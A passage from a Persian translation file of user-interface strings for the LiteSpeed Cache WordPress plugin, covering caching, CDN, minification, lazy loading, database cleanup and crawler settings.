بارگذاری تنبل نمی شود.','Lazy Load Image Excludes'=>'استثنا تصاویر از بارگذاری تنبل','No optimization'=>'بدون بهینه‌سازی','Prevent any optimization of listed pages.'=>'جلوگیری از هرگونه بهینه‌سازی صفحات فهرست‌شده.','URI Excludes'=>'استثنائات URL','Stop loading WordPress.org emoji. Browser default emoji will be displayed instead.'=>'توقف بارگذاری emoticon wordpress.org. Emoji به طور پیش‌فرض اموجی‌های مرورگر به جای آن نمایش داده می شود.','Both full URLs and partial strings can be used.'=>'هر دو URL کامل و رشته‌های جزئی می‌تواند مورد استفاده قرار گیرد.','Load iframes only when they enter the viewport.'=>'لود آی‌فریم فقط وقتی که به محل نمایش وارد می شوند.','Lazy Load Iframes'=>'آی‌فریم لود تنبل','This can improve page loading time by reducing initial HTTP requests.'=>'این می‌تواند با کاهش درخواست اولیه HTTP، زمان بارگذاری صفحه را بهبود بخشد.','Load images only when they enter the viewport.'=>'بارگذاری تصاویر زمانی که آنها به محل نمایش وارد می شوند.','Lazy Load Images'=>'بارگذاری تنبل تصاویر','Media Settings'=>'تنظیمات رسانه','For example, for %1$s, %2$s and %3$s can be used here.'=>'برای مثال، برای %1$s، میتوان از %2$s و %3$s در این قسمت استفاده کرد.','Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.'=>'Wildcard %1$s پشتیبانی شده (مطابقت صفر یا بیشتر از کاراکترها). برای مثال، برای مطابقت با %2$s و %3$s، از %4$s استفاده کنید.','To match the beginning, add %s to the beginning of the item.'=>'برای مطابقت با شروع، %s را به ابتدای آیتم اضافه کنید.','For example, for %1$s, %2$s can be used here.'=>'برای مثال، برای %1$s, می‌توان از %2$s در اینجا استفاده کرد.','Maybe later'=>'شاید بعدا','I\'ve already left a review'=>'قبلاً نظر خود را ثبت کرده‌ام','Welcome to LiteSpeed'=>'به LiteSpeed خوش آمدید','Remove WordPress Emoji'=>'حذف Emoji وردپرس','More settings'=>'تنظیمات بیشتر','Private cache'=>'کش خصوصی','Non cacheable'=>'غیرقابل‌کش','Mark this page as '=>'علامتگذاری این صفحه به‌عنوان ','Purge this page'=>'پاکسازی این صفحه','Load JS Deferred'=>'بارگذاری JS با تاخیر','Specify critical CSS rules for above-the-fold content when enabling %s.'=>'قوانین CSS بحرانی را برای محتوای above-the-fold تا هنگامی که %s را ممکن می‌سازد، مشخص کنید.','Critical CSS Rules'=>'قوانین CSS بحرانی','Load CSS Asynchronously'=>'بارگذاری CSS ناهمگام','Prevent Google Fonts from loading on all pages.'=>'از بارگذاری Google Fonts در تمام صفحات جلوگیری کنید.','Remove Google Fonts'=>'حذف فونت‌های گوگل','This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.'=>'این می‌تواند نمره سرعت شما را در خدمات مانند Pingdom ،GTmetrix و PageSpeed بهبود دهد.','Remove query strings from internal static resources.'=>'حذف رشته‌های پرس و جو از منابع استاتیک داخلی.','Remove Query Strings'=>'حذف رشته‌های Query','user agents'=>'User Agents','cookies'=>'کوکی‌ها','You can turn on browser caching in server admin too. %sLearn more about LiteSpeed browser cache settings%s.'=>'شما می‌توانید کش مرورگر را در بخش مدیریت سرور نیز فعال کنید. %sدرباره تنظیمات کش مرورگر LiteSpeed بیشتر بدانید%s.','Browser caching stores static files locally in the user\'s browser. Turn on this setting to reduce repeated requests for static files.'=>'کش سازی مرورگر فایل‌های استاتیک محلی را در مرورگر کاربر کش می کند. این تنظیم را برای کاهش درخواست‌های مکرر برای فایل‌های استاتیک فعال کنید.','Browser Cache'=>'کش مرورگر','tags'=>'برچسب‌ها','Do Not Cache Tags'=>'برچسب‌ها را کش نکنید','To exclude %1$s, insert %2$s.'=>'برای استثنا کردن %1$s، %2$s را وارد کنید.','categories'=>'دسته‌بندی‌ها','To prevent %s from being cached, enter them here.'=>'برای جلوگیری از ذخیره شدن %s در حافظه پنهان، آنها را اینجا وارد کنید.','Do Not Cache Categories'=>'دسته‌بندی‌ها را کش نکنید','Query strings containing these parameters will not be cached.'=>'رشته‌های پرس و جو که شامل این پارامترها هستند، کش نخواهند شد.','Do Not Cache Query Strings'=>'رشته‌های Query را کش نکنید','Paths containing these strings will not be cached.'=>'مسیرهای حاوی این رشته‌ها کش نخواهند شد.','Do Not Cache URIs'=>'URI‌ها را کش نکنید','One per line.'=>'هر خط یک مورد.','URI Paths containing these strings will NOT be cached as public.'=>'مسیرهای URI حاوی این رشته‌ها به عنوان عمومی کش نمی شوند.','Private Cached URIs'=>'کش لینک‌های خصوصی','Paths containing these strings will not be served from the CDN.'=>'مسیرهای حاوی این رشته‌ها از CDN نمی گذرند.','Exclude Path'=>'حذف مسیر','Include File Types'=>'شامل انواع فایل‌ها','Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.'=>'تمام فایلهای جاوا اسکریپت را از طریق CDN بگذرانید. این کار تمام فایلهای جاوا اسکریپت WP-enabled را تحت تاثیر قرار می دهد.','Include JS'=>'شامل JS','Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.'=>'تمام فایل‌های CSS را از طریق CDN بگذرانید. این همه فایلهای CSS WP enqueued را تحت تاثیر قرار می دهد.','Include CSS'=>'شامل CSS','Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes.'=>'سرو همه فایلهای تصویری از طریق CDN. این کار بر روی تمام پیوست‌ها، تگ‌های HTML %1$s و ویژگیهای CSS %2$s تأثیر خواهد گذاشت.','Include Images'=>'شامل تصاویر','CDN URL to be used. For example, %s'=>'آدرس CDN مورد استفاده قرار می گیرد به عنوان مثال: %s','CDN URL'=>'آدرس CDN','Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.'=>'آدرس سایت که از طریق CDN سرویس داده می‌شود. با %1$s شروع شده است. برای مثال، %2$s.','Original URLs'=>'URL‌های اصلی','CDN Settings'=>'تنظیمات CDN','CDN'=>'CDN','OFF'=>'خاموش','ON'=>'روشن','Notified LiteSpeed Web Server to purge CSS/JS entries.'=>'پاکسازی ورودی‌های CSS/JS به LiteSpeed Web Server اعلام شد.','Minify HTML content.'=>'کوچک‌سازی محتوای HTML.','HTML Minify'=>'HTML Minify','JS Excludes'=>'استثنائات JS','JS Combine'=>'ترکیب JS','JS Minify'=>'JS Minify','CSS Excludes'=>'استثنائات CSS','CSS Combine'=>'ترکیب CSS','CSS Minify'=>'CSS Minify','Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.'=>'لطفا هر گونه گزینه ای را در این لیست تست کنید. بعد از تغییر تنظیمات Minify/Combine، لطفا همه فعالیت‌ها را خاتمه دهید.','This will purge all minified/combined CSS/JS entries only'=>'این فقط تمام ورودی‌های CSS/JS کوچک‌شده/ترکیب‌شده را پاک می‌کند','Purge %s Error'=>'پاکسازی %s خطا','Database Optimizer'=>'بهینه‌سازی پایگاه داده','Optimize all tables in your database'=>'بهینه‌سازی تمام جداول در پایگاه داده','Optimize Tables'=>'بهینه‌سازی جداول','Clean all transient options'=>'پاکسازی داده‌های گذرای','All Transients'=>'داده‌های گذرا','Clean expired transient options'=>'پاکسازی داده‌های گذرای منقضی شده','Expired Transients'=>'نشست‌های منقضی شده','Clean all trackbacks and pingbacks'=>'پاکسازی Trackbacks و Pingbacks','Trackbacks/Pingbacks'=>'Trackbacks/Pingbacks','Clean all trashed comments'=>'پاکسازی دیدگاه‌های زباله‌دان','Trashed Comments'=>'دیدگاه‌های زباله‌دان','Clean all spam comments'=>'پاکسازی دیدگاه‌های اسپم','Spam Comments'=>'دیدگاه‌های اسپم','Clean all trashed posts and pages'=>'پاکسازی تمام پست‌های زباله‌دن','Trashed Posts'=>'پست‌های زباله‌دان','Clean all auto saved drafts'=>'پاکسازی تمام پیش‌نویس‌های خودکار','Auto Drafts'=>'پیش‌نویس‌های خودکار','Clean all post revisions'=>'پاکسازی تمام ویرایش‌های پست','Post Revisions'=>'ویرایش‌های پست','Clean All'=>'پاکسازی همه','Optimized all tables.'=>'تمام جداول بهینه‌سازی شدند.','Clean all transients successfully.'=>'پاکسازی داده‌های گذرا موفق بود.','Clean expired transients successfully.'=>'پاکسازی داده‌های گذرای منقضی شود موفق بود.','Clean trackbacks and pingbacks successfully.'=>'پاکسازی Trackbacks و Pingbacks موفق بود.','Clean trashed comments successfully.'=>'پاکسازی دیدگاه‌های زباله‌دان موفق بود.','Clean spam comments successfully.'=>'پاکسازی دیدگاه‌های اسپم موفق بود.','Clean trashed posts and pages successfully.'=>'پاکسازی پست‌های زباله‌دان موفق بود.','Clean auto drafts successfully.'=>'پاکسازی پیش‌نویس‌های خودکار موفق بود.','Clean post revisions successfully.'=>'پاکسازی ویرایش‌های پست موفق بود.','Clean all successfully.'=>'پاکسازی موفق بود.','Default Private Cache TTL'=>'کش خصوصی پیش‌فرض TTL','If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.'=>'اگر سایت شما حاوی محتوای عمومی است که برخی از نقش‌های کاربر می‌توانند ببینند اما سایر نقش‌ها نمی‌توانند، شما می‌توانید گروه Vary را برای آن دسته از کاربر‌ها مشخص کنید. به عنوان مثال، مشخص کردن یک مدیر گروه متفاوت، اجازه می دهد یک صفحه جداگانه عمومی کش شده برای مدیران (با "ویرایش" لینک‌ها و ...) داشته باشید، در حالی که همه نقش‌های دیگر به طور پیش‌فرض صفحه عمومی را مشاهده می کنند.','Vary Group'=>'گروه Vary','Cache the built-in Comment Form ESI block.'=>'کش کردن بلوک ESI فرم نظر داخلی.','Cache Comment Form'=>'کش فرم دیدگاه','Cache the built-in Admin Bar ESI block.'=>'کش کردن بلوک ESI نوار مدیریت داخلی.','Cache Admin Bar'=>'کش صفحه مدیریت','Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.'=>'برای کش کردن صفحات عمومی برای کاربران وارد شده، و ارائه نوار مدیریت و فرم نظر از طریق بلوک‌های ESI، آن را روشن کنید. این دو بلوک مگر اینکه زیر اینجا فعال شوند، کش نخواهند شد.','ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.'=>'ESI به شما امکان می‌دهد بخش‌هایی از صفحه پویا را به‌عنوان قطعات جداگانه تعیین کنید که سپس برای ساخت کل صفحه کنار هم چیده می‌شوند. به عبارت دیگر، ESI به شما اجازه می‌دهد در صفحه «سوراخ» ایجاد کنید و سپس آن سوراخ‌ها را با محتوایی پر کنید که ممکن است به‌صورت خصوصی کش شود، به‌صورت عمومی با TTL مخصوص کش شود، یا اصلاً کش نشود.','With ESI (Edge Side Includes), pages may be served from cache for logged-in users.'=>'با ESI (Edge Side Includes)، صفحات از کش کاربران وارد شده ارائه می شوند.','Private'=>'خصوصی','Public'=>'عمومی','Purge Settings'=>'تنظیمات پاکسازی','Cache Mobile'=>'کش موبایل','Advanced level will log more details.'=>'سطح پیشرفته جزئیات بیشتری را ثبت می کند.','Basic'=>'پایه‌ای','The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.'=>'حداکثر بار سرور مجاز هنگام خزیدن مجاز است. تعداد رشته‌های خزنده فعال مورد استفاده کاهش خواهد یافت تا زمانی که بار سرور به طور متوسط زیر این حد افت کند. اگر این کار با یک رشته واحد به دست نیاید، خزیدن فعلی به پایان خواهد رسید.','Cache Login Page'=>'کش صفحه ورود','Cache requests made by WordPress REST API calls.'=>'کش کردن درخواست‌های ایجادشده توسط تماس‌های WordPress REST API.','Cache REST API'=>'کش REST API','Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)'=>'کش خصوصی نظر دهندگان که نظرات در انتظار بررسی دارند. غیرفعال کردن این گزینه صفحات غیر قابل کش شدن را برای commenters ارائه می دهد. (LSWS %s مورد نیاز است)','Cache Commenters'=>'کش نظر دهندکان','Privately cache frontend pages for logged-in users. (LSWS %s required)'=>'صفحات ظاهری خصوصی را برای کاربران وارد شده کش کنید. (LSWS %s مورد نیاز است)','Cache Logged-in Users'=>'کش کاربران وارد شده','Cache Control Settings'=>'تنظیمات کنترل کش','ESI'=>'ESI','Excludes'=>'استثنائات','Purge'=>'پاکسازی','Cache'=>'کش','Unexpected cache rule %2$s found in %1$s file. This rule may cause visitors to see old versions of pages due to the browser caching HTML pages. If you are sure that HTML pages are not being browser cached, this message can be dismissed. (%3$sLearn More%4$s)'=>'قاعده کش غیرمنتظره %2$s در فایل %1$s یافت شد. این قاعده ممکن است باعث شود بازدیدکنندگان نسخه‌های قدیمی صفحات را ببینند زیرا مرورگر صفحات HTML را کش کرده است. اگر مطمئن هستید که صفحات HTML توسط مرورگر کش نمی‌شوند، می‌توانید این پیام را نادیده بگیرید. (%3$sبیشتر بدانید%4$s)','Current server time is %s.'=>'زمان فعلی سرور %s است.','Specify the time to purge the "%s" list.'=>'زمان را برای پاکسازی لیست "%s" مشخص کنید.','Both %1$s and %2$s are acceptable.'=>'هر دو %1$s و %2$s قابل قبول هستند.','Scheduled Purge Time'=>'زمان زمانبندی پاکسازی','The URLs here (one per line) will be purged automatically at the time set in the option "%s".'=>'لینک‌های اینجا (هر یک در یک خط) به طور خودکار در زمان تعیین‌شده در تنظیم "%s" پاک‌سازی خواهند شد.','Scheduled Purge URLs'=>'زمانبندی پاکسازی URL‌ها','Shorten query strings in the debug log to improve readability.'=>'رشته‌های Query را در فایل گزارش اشکال زدایی برای بهتر شدن خواندن کاهش دهید.','Heartbeat'=>'قلب تپنده','MB'=>'MB','Log File Size Limit'=>'محدودیت سایز فایل گزارش','<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s'=>'<p>لطفا کدهای زیر را در ابتدای %1$s اضافه/جایگزین کنید:</p> %2$s','%s file not writable.'=>'فایل %s قابل نوشتن نیست.','%s file not readable.'=>'فایل %s قابل خواندن نیست.','Collapse Query Strings'=>'کاهش رشته‌های Query','ESI Settings'=>'تنظیمات ESI','A TTL of 0 indicates do not cache.'=>'یک TTL از 0 نشان می دهد که کش پنهان نیست.','Recommended value: 28800 seconds (8 hours).'=>'مقدار توصیه شده: 28800 ثانیه (8 ساعت)','Widget Cache TTL'=>'TTL کش ویجت','Enable ESI'=>'فعالسازی ESI','See %sIntroduction for Enabling the Crawler%s for detailed information.'=>'برای اطلاعات دقیقتر به %sراهنمای فعالسازی خزنده%s مراجعه کنید.','Custom Sitemap'=>'نقشه سفارشی سایت','Purge pages by relative or full URL.'=>'پاکسازی صفحات بر اساس URL نسبی یا کامل.','The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.'=>'ویژگی خزنده در سرور LiteSpeed فعال نیست. لطفا با مدیر سرور خود مشورت کنید.','WARNING'=>'هشدار','The next complete sitemap crawl will start at'=>'خزیدن نقشه سایت کامل شد بعدی شروع خواهد شد در','Failed to write to %s.'=>'نمی‌تواند بر روی %s بنویسد.','Folder is not writable: %s.'=>'پوشه قابل نوشتن نیست: %s.','Can not create folder: %1$s. Error: %2$s'=>'پوشه نمی‌تواند ایجاد شود: %1$s، خطا: %2$s','Folder does not exist: %s'=>'پوشه وجود ندارد: %s','Notified LiteSpeed Web Server to purge the list.'=>'پاکسازی لیست به LiteSpeed Web Server اعلام شده است.','Please visit the %sInformation%s page on how to test the cache.'=>'لطفا برای نحوه‌ی تست کش به صفحه‌ی %sاطلاعات%s مراجعه کنید.','Allows listed IPs (one per line) to perform certain actions from their browsers.'=>'این امکان را فراهم می‌آورد که IP های فهرست‌شده (هر یک در یک خط) را برای انجام اقدامات مشخص از مرورگرهای خود انجام دهد.','Server Load Limit'=>'محدودیت بار سرور','Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.'=>'مشخص کنید که چند ثانیه قبل از خزیدن باید کل sitemap را نوسازی کند.','Crawl Interval'=>'فاصله کاوش','Then another WordPress is installed (NOT MULTISITE) at %s'=>'سپس وردپرس دیگری (NOT MULTISITE) در %s','LiteSpeed Cache Network Cache Settings'=>'تنظیمات کش شبکه LiteSpeed Cache','Select below for "Purge by" options.'=>'تنظیم‌های زیر را برای "پاکسازی بر اساس" انتخاب کنید.','LiteSpeed Cache CDN'=>'کش CDN لایت اسپید','No crawler meta file generated yet'=>'هنوز فایل متا خزنده ایجاد نشده','Show crawler status'=>'نمایش وضعیت خزنده','Watch Crawler Status'=>'مشاهده وضعیت خزنده','Please see %sHooking WP-Cron Into the System Task Scheduler%s to learn how to create the system cron task.'=>'لطفاً به <a %s>متصل کردن WP-Cron به زمانبند وظایف سیستم</a> مراجعه کنید تا یاد بگیرید چگونه وظیفه کرون سیستم را ایجاد کنید.','Run frequency is set by the Interval Between Runs setting.'=>'تکرار اجرا توسط تنظیم بازه بین اجراها تنظیم می‌شود.','Manually run'=>'اجرای دستی','Reset position'=>'بازنشانی موقیعت','Run Frequency'=>'تکرار اجرا','Cron Name'=>'نام Cron','Crawler Cron'=>'خزنده Cron','%d minute'=>'%d دقیقه','%d minutes'=>'%d دقیقه','%d hour'=>'%d ساعت','%d hours'=>'%d ساعت','Generated at %s'=>'تولید شده در %s','LiteSpeed Cache Crawler'=>'خزنده کش لایت اسپید','If there are any questions, the team is always happy to answer any questions on the %ssupport forum%s.'=>'اگر سوالی وجود دارد، تیم ما همیشه خوشحال خواهد شد که به هرگونه سوالی در انجمن پشتیبانی %s%s پاسخ دهد.','Crawler'=>'خزنده','https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration'=>'https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration','Notified LiteSpeed Web Server to purge all pages.'=>'پاکسازی صفحات به LiteSpeed Web Server اعلام شد.','All pages with Recent Posts Widget'=>'همه صفحات با آخرین ویجت‌ها','Pages'=>'صفحات','This will Purge Pages only'=>'این فقط صفحات را پاک می‌کند','Purge Pages'=>'پاکسازی صفحه‌ها','Cancel'=>'لغو','Deactivate'=>'غیر فعالسازی','Activate'=>'فعال کردن','Email Address'=>'آدرس ایمیل','Install Now'=>'الآن نصب کن','Purged the URL!'=>'آدرس اینترنتی (URL) پاک شد!','Purged the blog!'=>'وبلاگ پاکسازی شده!','Purged All!'=>'تمام شده!','Notified LiteSpeed Web Server to purge error pages.'=>'پاکسازی صفحات خطا به LiteSpeed Web Server اعلام شد.','If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.'=>'در صورت استفاده از OpenLiteSpeed، سرور باید یک بار ری‌استارت شود تا تغییرات اجرا شود.','If the login cookie was recently changed in the settings, please log out and back in.'=>'اگر کوکی ورود به سیستم اخیرا در تنظیمات تغییر کرده باشد، لطفا بیرون بیایید و دوباره وارد شوید.','However, there is no way of knowing all the possible customizations that were implemented.'=>'با این وجود، هیچ راهی برای دانستن تمام تنظیمات ممکن که اجرا شد وجود ندارد.','The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.'=>'افزونه LateSpeed Cache برای کش صفحات استفاده می شود - یک راه ساده برای بهبود عملکرد سایت.','The network admin setting can be overridden here.'=>'تنظیمات مدیر شبکه را می‌توان در اینجا لغو کرد.','Specify how long, in seconds, public pages are cached.'=>'مشخص کنید چه مدت، در ثانیه، برگه‌های عمومی در حافظه پنهان ذخیره شوند.','Specify how long, in seconds, private pages are cached.'=>'مشخص کنید چه مدت، در ثانیه، برگه‌های خصوصی در حافظه پنهان ذخیره شوند.','It is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first.'=>'اکیداً توصیه می‌شود که ابتدا سازگاری با سایر افزونه‌ها در یک/چند سایت آزمایش شود.','Purge pages by post ID.'=>'پاکسازی صفحات بر اساس شناسه پست.','Purge the LiteSpeed cache entries created by this plugin'=>'پاک کردن ورودی‌های کش پنهان litespeed ایجاد شده توسط این افزونه','Purge %s error pages'=>'صفحات خطای %s را پاک کنید','This will Purge Front Page only'=>'این فقط صفحه اصلی را پاک می‌کند','Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.'=>'پاکسازی صفحات بر اساس نام تگ - مثلاً %2$s باید برای URL %1$s استفاده شود.','Purge pages by category name - e.g. %2$s should be used for the URL %1$s.'=>'پاکسازی صفحات بر اساس نام دسته‌بندی - مثلاً %2$s باید برای URL %1$s استفاده شود.','If only the WordPress site should be purged, use Purge All.'=>'اگر فقط سایت وردپرس باید پاک شود، از پاکسازی همه استفاده کنید.','Notified LiteSpeed Web Server to purge everything.'=>'پاکسازی همه چیز به LiteSpeed Web Server اعلام شده است.','Use Primary Site Configuration'=>'استفاده از پیکربندی سایت اول','This will disable the settings page on all subsites.'=>'این صفحه تنظیمات را در تمام زیر شاخه‌ها غیرفعال می کند.','Check this option to use the primary site\'s configuration for all subsites.'=>'این گزینه را انتخاب کنید تا از پیکربندی سایت اول برای تمام زیرمجموعه‌ها استفاده شود.','Save Changes'=>'ذخیره تغییرات','The following options are selected, but are not editable in this settings page.'=>'گزینه‌های زیر انتخاب می شوند، اما در این صفحه تنظیمات قابل ویرایش نیستند.','The network admin selected use primary site configs for all subsites.'=>'مدیر شبکه از تنظیمات سایت اصلی برای تمام زیرمجموعه‌ها استفاده می کند.','Empty Entire Cache'=>'خالی کردن کل کش','This action should only be used if things are cached incorrectly.'=>'این عمل فقط باید مورد استفاده قرار گیرد اگر موارد نادرست کش شوند.','Clears all cache entries related to this site, including other web applications.'=>'تمام ورودی‌های کش شده مربوط به این سایت، شامل سایر برنامه‌های وب پاک می شود.','This may cause heavy load on the server.'=>'این ممکن است بار سنگینی بر روی سرور ایجاد کند.','This will clear EVERYTHING inside the cache.'=>'این همه چیز را در داخل کش پنهان پاک می کند.','LiteSpeed Cache Purge All'=>'پاکسازی همه کش لایت اسپید','If you would rather not move at litespeed, you can deactivate this plugin.'=>'اگر شما مایل به استفاده از litespeed نیستید، می‌توانید این افزونه را غیرفعال کنید.','Create a post, make sure the front page is accurate.'=>'یک پست ایجاد کنید، مطمئن شوید صفحه اول درست است.','Visit the site while logged out.'=>'سایت را در حالت خارج شده مشاهده کنید.','Examples of test cases include:'=>'نمونه‌هایی از موارد آزمون عبارتند از:','For that reason, please test the site to make sure everything still functions properly.'=>'به همین دلیل، لطفا سایت را تست کنید تا مطمئن شوید که همه چیز به درستی عمل می کند.','This message indicates that the plugin was installed by the server admin.'=>'این پیام نشان می دهد که افزونه توسط مدیر سرور نصب شده است.','LiteSpeed Cache plugin is installed!'=>'افزونه کش لایت اسپید نصب شده است!','Debug Log'=>'گزارش اشکال زدایی','Admin IP Only'=>'فقط IP مدیر','The Admin IP option will only output log messages on requests from admin IPs listed below.'=>'گزینه IP Admin فقط پیام‌های ورودی را بر روی درخواست‌های IP‌های مدیریت ارسال می کند.','Specify how long, in seconds, REST calls are cached.'=>'مشخص کنید چه مدت، در ثانیه، REST call ها در حافظه پنهان ذخیره شوند.','The environment report contains detailed information about the WordPress configuration.'=>'گزارش محیطی حاوی اطلاعات دقیق درباره پیکربندی وردپرس است.','The server will determine if the user is logged in based on the existence of this cookie.'=>'سرور بر اساس وجود این کوکی تشخیص می‌دهد که آیا کاربر وارد سیستم شده است یا خیر.','Note'=>'نکته','After verifying that the cache works in general, please test the cart.'=>'پس از تایید اینکه کش به طور عمومی کار می کند، لطفا سبد خرید را بررسی کنید.','When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.'=>'هنگامی که فعال شود، زمانی که هر پلاگین، قالب یا هسته وردپرس ارتقا داده می شود، کش به طور خودکار پاک می شود.','Purge All On Upgrade'=>'پاکسازی همه هنگام ارتقا','Product Update Interval'=>'بازه بروزرسانی محصول','Determines how changes in product quantity and product stock status affect product pages and their associated category pages.'=>'تعیین اینکه چگونه تغییرات در مقدار محصول و وضعیت موجودی محصول، بر صفحات محصول و صفحات دسته مربوطه تاثیر می گذارد.','Always purge both product and categories on changes to the quantity or stock status.'=>'همیشه هر دو محصول و دسته‌ها را بر اساس تغییرات مقدار یا وضعیت موجودی پاکسازی کنید.','Do not purge categories on changes to the quantity or stock status.'=>'دسته‌بندی‌ها را با تغییرات مقدار یا وضعیت موجودی پاکسازی نکنید.','Purge product only when the stock status changes.'=>'پاک کردن محصول فقط زمانی که وضعیت موجودی تغییر می کند.','Purge product and categories only when the stock status changes.'=>'پاک کردن محصول و دسته‌ها فقط زمانی که وضعیت موجودی تغییر می کند.','Purge categories only when stock status changes.'=>'پاکسازی دسته‌ها فقط هنگامی که وضعیت موجودی انبار تغییر کرد.','Purge product on changes to the quantity or stock status.'=>'پاکسازی محصول هنگامی که تعداد یا وضعیت موجودی انبار تغییر کرد.','Htaccess did not match configuration option.'=>'تنظیم پیکربندی Htaccess مطابقت نکرد.','If this is set to a number less than 30, feeds will not be cached.'=>'اگر این مقدار به کمتر از 30 تنظیم شده باشد، فید‌ها کش نخواهند شد.','Specify how long, in seconds, feeds are cached.'=>'مشخص کنید چه مدت، به ثانیه، خوراک‌ها کش می شوند.','Default Feed TTL'=>'خوراک پیش‌فرض TTL','Failed to get %s file contents.'=>'محتوا از فایل %s دریافت نشد.','Disabling this option may negatively affect performance.'=>'غیرفعال کردن این گزینه ممکن است باعث عملکرد منفی شود.','Invalid login cookie. Invalid characters found.'=>'کوکی ورود نامعتبر است. کاراکترهای نامعتبر پیدا شده است.','WARNING: The .htaccess login cookie and Database login cookie do not match.'=>'هشدار: کوکی ورودی .htaccess و کوکی ورود به سیستم پایگاه داده مطابقت ندارد.','Invalid login cookie. Please check the %s file.'=>'کوکی ورود نامعتبر است. لطفاً فایل %s را بررسی کنید.','The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.'=>'کش نیاز به تشخیص اینکه چه کسی وارد سایت WordPress شده است تا به درستی کش شود.','There is a WordPress installed for %s.'=>'یک وردپرس برای %s نصب شده است.','Example use case:'=>'مثال مورد استفاده:','The cookie set here will be used for this WordPress installation.'=>'کوکی تنظیم شده در اینجا برای این نصب وردپرس استفاده خواهد شد.','If every web application uses the same cookie, the server may confuse whether a user is logged in or not.'=>'اگر تمام برنامه‌های وب از یک کوکی مشابه استفاده کنند، سرور ممکن است تشخیص دهد که کاربر وارد شده است یا خیر، دچار اشتباه شود.','This setting is useful for those that have multiple web applications for the same domain.'=>'این تنظیم برای کسانی که برنامه‌های وب چندگانه برای یک دامنه مشابه دارند مفید است.','The default login cookie is %s.'=>'کوکی ورود به سیستم پیش‌فرض %s هست.','Login Cookie'=>'کوکی ورود به سیستم','More information about the available commands can be found here.'=>'اطلاعات بیشتر در مورد فرمان‌های موجود در اینجا می‌توانید پیدا کنید.','These settings are meant for ADVANCED USERS ONLY.'=>'این تنظیمات فقط برای کاربران پیشرفته است.','Current %s Contents'=>'محتویات فعلی %s','Advanced'=>'پیشرفته','Advanced Settings'=>'تنظیمات پیشرفته','Purge List'=>'لیست پاکسازی','Purge By...'=>'پاکسازی بر اساس...','URL'=>'URL','Tag'=>'برچسب','Post ID'=>'شناسه پست','Category'=>'دسته‌بندی','NOTICE: Database login cookie did not match your login cookie.'=>'توجه: کوکی نام کاربری پایگاه داده با cookie login شما مطابقت ندارد.','Purge url %s'=>'پاکسازی url %s','Purge tag %s'=>'پاکسازی برچسب %s','Purge category %s'=>'پاکسازی دسته %s','When disabling the cache, all cached entries for this site will be purged.'=>'هنگام غیرفعال کردن کش، تمام ورودی‌های کش شده برای این وبلاگ پاک می شود.','NOTICE'=>'نکته','This setting will edit the .htaccess file.'=>'این تنظیمات فایل .htaccess را ویرایش خواهد کرد.','LiteSpeed Cache View .htaccess'=>'نمایش .htaccess لایت اسپیدکش','Failed to back up %s file, aborted changes.'=>'بک آپ %s شکست خورد، تغییری اعمال نشد.','Do Not Cache Cookies'=>'کوکی‌ها را کش نکنید','Do Not Cache User Agents'=>'User Agents را کش نکنید','This is to ensure compatibility prior to enabling the cache for all sites.'=>'این برای اطمینان از سازگاری قبل از فعال کردن کش برای همه سایت‌هاست.','Network Enable Cache'=>'فعالسازی کش شبکه','NOTICE:'=>'اعلان:','Other checkboxes will be ignored.'=>'کادرهای دیگر نادیده گرفته خواهند شد.','Select "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.'=>'اگر ویجت پویا متصل به پست‌ها در صفحات دیگر غیر از صفحات اول یا خانه وجود دارد، "همه" را انتخاب کنید.','List of Mobile User Agents'=>'لیست نمایندگان تلفن همراه','File %s is not writable.'=>'پرونده %s قابل نوشتن نیست.','JS Settings'=>'تنظیمات JS','Manage'=>'مدیریت','Default Front Page TTL'=>'صفحه اول پیش‌فرض TTL','Notified LiteSpeed Web Server to purge the front page.'=>'پاکسازی صفحه اول به LiteSpeed Web Server اعلام شد.','Purge Front Page'=>'پاکسازی صفحه اصلی','Example'=>'نمونه','All tags are cached by default.'=>'همه برچسب‌ها به صورت پیش‌فرض کش می شوند.','All categories are cached by default.'=>'همه دسته‌ها به صورت پیش‌فرض کش می شوند.','To do an exact match, add %s to the end of the URL.'=>'برای انجام یک تطبیق دقیق، %s را به انتهای URL اضافه کنید.','The URLs will be compared to the REQUEST_URI server variable.'=>'URL‌ها با متغیر REQUEST_URI مقایسه خواهند شد.','Select only the archive types that are currently used, the others can be left unchecked.'=>'فقط انواع بایگانی را که در حال حاضر استفاده می شوند را انتخاب کنید، دیگران را می‌توان بدون بررسی کنار گذاشت.','Notes'=>'یادداشت','Use Network Admin Setting'=>'استفاده از تنظیمات مدیریت شبکه','Disable'=>'غیرفعال','Enabling LiteSpeed Cache for WordPress here enables the cache for the network.'=>'فعال کردن کش LiteSpeed برای وردپرس در اینجا cache برای شبکه را فعال می کند.','Disabled'=>'غیرفعال شده','Enabled'=>'فعال شده','Do Not Cache Roles'=>'نقش‌ها را کش 